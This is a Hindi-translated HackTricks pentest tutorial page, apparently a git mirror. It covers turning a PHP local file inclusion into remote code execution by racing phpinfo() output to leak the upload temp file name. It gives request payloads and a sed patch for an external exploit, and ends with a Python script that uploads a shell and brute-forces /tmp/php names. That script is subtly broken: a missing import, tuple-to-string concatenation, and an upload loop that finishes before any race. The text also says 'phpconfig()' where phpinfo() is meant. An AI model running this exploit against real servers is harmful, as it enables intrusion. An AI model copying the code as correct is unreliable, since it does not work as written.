mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
56 lines
5.5 KiB
Markdown
56 lines
5.5 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
इस कमजोरियों का लाभ उठाने के लिए आपको आवश्यकता है: **एक LFI कमजोरी, एक पृष्ठ जहाँ phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।**
|
|
|
|
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
|
|
|
**ट्यूटोरियल HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
|
|
|
आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( **=>** को **=>** में बदलें)। ऐसा करने के लिए आप कर सकते हैं:
|
|
```
|
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
|
```
|
|
आपको **payload** को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), **REQ1** (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), और **LFIREQ** (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ जब null char का शोषण करते समय डबल "%" की जांच करें)
|
|
|
|
{{#file}}
|
|
LFI-With-PHPInfo-Assistance.pdf
|
|
{{#endfile}}
|
|
|
|
### सिद्धांत
|
|
|
|
यदि PHP में अपलोड की अनुमति है और आप एक फ़ाइल अपलोड करने की कोशिश करते हैं, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत होती है जब तक कि सर्वर अनुरोध को संसाधित नहीं कर लेता, फिर यह अस्थायी फ़ाइल हटा दी जाती है।
|
|
|
|
फिर, यदि आपने वेब सर्वर में LFI भेद्यता पाई है, तो आप अस्थायी फ़ाइल के नाम का अनुमान लगाने की कोशिश कर सकते हैं और इसे RCE का शोषण करते हुए अस्थायी फ़ाइल तक पहुँच सकते हैं इससे पहले कि इसे हटा दिया जाए।
|
|
|
|
**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं।
|
|
|
|
**Linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
|
|
|
|
**phpinfo()**
|
|
|
|
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **बहुत सारे बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर फ़ाइल को हटाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**।
|
|
|
|
**नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)**
|
|
```python
|
|
import itertools
|
|
import requests
|
|
import sys
|
|
|
|
print('[+] Trying to win the race')
|
|
f = {'file': open('shell.php', 'rb')}
|
|
for _ in range(4096 * 4096):
|
|
requests.post('http://target.com/index.php?c=index.php', f)
|
|
|
|
|
|
print('[+] Bruteforcing the inclusion')
|
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
r = requests.get(url)
|
|
if 'load average' in r.text: # <?php echo system('uptime');
|
|
print('[+] We have got a shell: ' + url)
|
|
sys.exit(0)
|
|
|
|
print('[x] Something went wrong, please try again')
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|